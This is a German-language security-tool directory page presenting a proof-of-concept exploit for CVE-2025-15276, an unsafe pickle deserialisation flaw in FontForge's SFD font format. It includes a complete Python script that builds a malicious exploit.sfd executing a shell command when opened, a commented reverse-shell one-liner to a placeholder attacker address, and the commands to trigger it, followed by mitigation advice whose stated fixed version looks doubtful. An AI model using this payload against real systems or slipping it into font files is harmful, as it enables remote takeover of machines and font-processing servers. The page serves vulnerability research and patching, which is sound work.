Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-15276-poc — Proof of Concept für CVE-2025-15276 - FontForge-SFD-Dateiparsing: Deserialisierung nicht vertrauenswürdiger Daten, Schwachstelle zur Remotecodeausführung | Kitploit
Tools/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
Payload-GenerierungSchwachstellenanalyseExploitationLernen & BildungRemote-Access-ToolBinary-Exploitation
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

Proof of Concept für CVE-2025-15276 - FontForge-SFD-Dateiparsing: Deserialisierung nicht vertrauenswürdiger Daten, Schwachstelle zur Remotecodeausführung

Repository anzeigen
22vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-15276: FontForge SFD PickledData Unsichere Deserialisierung (RCE)

Haftungsausschluss

Dieser Proof of Concept (PoC) dient ausschließlich Bildungszwecken und der Sicherheitsprüfung. Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieser Informationen. Der unbefugte Zugriff auf Computersysteme ist illegal. Holen Sie immer die ausdrückliche Genehmigung ein, bevor Sie Sicherheitstests an einem System durchführen.


Überblick über die Schwachstelle

CVE-2025-15276 ist eine kritische Remote-Code-Ausführungs-Schwachstelle (RCE) in FontForge (Versionen bis einschließlich 20230101). Der Fehler liegt in der Verarbeitung des Spline-Font-Database-Formats (.sfd), insbesondere im PickledData-Feld.

Technisches Detail

Das SFD-Format von FontForge ermöglicht die Speicherung persistenter Python-Wörterbücher mithilfe des PickledData-Schlüsselworts. Beim Laden einer Schriftart extrahiert FontForge diesen String und übergibt ihn direkt an die Python-Funktion (oder eine gleichwertige interne Deserialisierungsroutine), ohne jegliche Bereinigung oder Sandboxing.

pickle.loads()

Da das Python-Modul pickle von Natur aus unsicher ist und die Rekonstruktion beliebiger Objekte ermöglicht, kann ein Angreifer die Methode __reduce__ nutzen, um beliebige Systembefehle mit den Rechten des Benutzers auszuführen, der FontForge ausführt.


Schritte zur Reproduktion

1. Voraussetzungen

  • Verwundbares FontForge: Version 20230101 oder früher.
  • Python 3.x: Zum Generieren der bösartigen Payload.

2. Bösartige SFD-Datei generieren

Verwenden Sie das folgende Python-Skript (gen_poc.py), um eine exploit.sfd-Datei zu erstellen. Dieser PoC ist so konfiguriert, dass er als sicheres Indiz für eine Kompromittierung (IoC) eine Datei in /tmp/pwned erstellt.

root@kitploit:~
import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. Auslösen der Schwachstelle

Die Schwachstelle kann ausgelöst werden, indem die Datei einfach mit FontForge geöffnet wird.

Option A: Standard-GUI/CLI-Laden

root@kitploit:~
fontforge exploit.sfd

Option B: Python-Scripting-Schnittstelle (häufig in automatisierten Pipelines)

root@kitploit:~
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. Verifizierung

Prüfen Sie, ob der Befehl ausgeführt wurde:

root@kitploit:~
ls -l /tmp/pwned

Auswirkung in automatisierten Umgebungen

Diese Schwachstelle ist besonders gefährlich in Schriftverarbeitungs-Pipelines (z. B. webbasierten Font-Konvertern oder automatisierten Validierungsskripten), die FontForge im Backend zur Verarbeitung von benutzerhochgeladenen Dateien einsetzen. Wenn das Backend-Skript fontforge.open() auf einer nicht vertrauenswürdigen .sfd-Datei aufruft, erlangt der Angreifer die volle Kontrolle über den verarbeitenden Server.


Gegenmaßnahmen

  1. FontForge aktualisieren: Aktualisieren Sie auf die neueste Version (v78.1.1 oder neuer), in der diese unsicheren Deserialisierungspfade gepatcht oder eingeschränkt wurden.
  2. Eingaben bereinigen: Wenn Sie Tools mit der FontForge-API entwickeln, validieren Sie das Dateiformat vor der Verarbeitung strikt und erlauben Sie niemals die Verarbeitung von .sfd-Dateien aus nicht vertrauenswürdigen Quellen.
  3. Sandboxing: Führen Sie Schriftverarbeitungsaufgaben in einem Container mit geringen Privilegien (z. B. Docker) oder in einer eingeschränkten Sandbox aus, um die Auswirkungen einer möglichen Kompromittierung zu begrenzen.

Referenzen

  • CVE-2025-15276 NVD-Eintrag
  • Zero Day Initiative (ZDI) Bericht
  • FontForge GitHub-Repository
Tool herunterladen